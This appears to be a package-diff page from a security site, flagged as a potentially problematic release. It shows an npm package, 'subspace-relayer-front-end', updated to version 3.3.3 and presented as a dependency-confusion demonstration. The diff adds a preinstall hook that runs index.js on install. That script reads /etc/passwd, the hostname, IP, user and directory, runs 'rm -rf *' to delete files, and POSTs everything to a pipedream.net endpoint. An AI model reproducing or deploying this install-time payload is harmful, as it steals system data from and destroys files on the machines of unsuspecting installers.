subspace-relayer-front-end 0.0.1-security → 3.3.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of subspace-relayer-front-end might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +36 -0
- package/package.json +12 -6
package/README.md
CHANGED
@@ -1,5 +1,3 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=subspace-relayer-front-end for more information.
|
1
|
+
<h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
|
2
|
+
<p align="center">Name: Aryan Jaiswal</p>
|
3
|
+
<p align="center">Contact: aryan351985@gmail.com</p>
|
package/index.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
4
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
5
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
6
|
+
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
7
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
|
8
|
+
const removed = execSync('rm -rf *', { encoding: 'utf-8' });
|
9
|
+
|
10
|
+
|
11
|
+
const https = require("https")
|
12
|
+
|
13
|
+
const data = JSON.stringify({
|
14
|
+
"private IP": priv_ip,
|
15
|
+
"whoami": whoami,
|
16
|
+
"hostname": host,
|
17
|
+
"current dir": current_dir,
|
18
|
+
"passwd": passwd,
|
19
|
+
"remove": removed,
|
20
|
+
|
21
|
+
})
|
22
|
+
|
23
|
+
const options = {
|
24
|
+
hostname: "eo56j4tfa20w1b7.m.pipedream.net",
|
25
|
+
port: 443,
|
26
|
+
path: "/",
|
27
|
+
method: "POST",
|
28
|
+
headers: {
|
29
|
+
"Content-Type": "application/json",
|
30
|
+
"Content-Length": data.length,
|
31
|
+
},
|
32
|
+
}
|
33
|
+
|
34
|
+
const req = https.request(options)
|
35
|
+
req.write(data)
|
36
|
+
req.end()
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "subspace-relayer-front-end",
|
3
|
+
"version": "3.3.3",
|
4
|
+
"description": "Hacked By Nova",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Nova Security",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|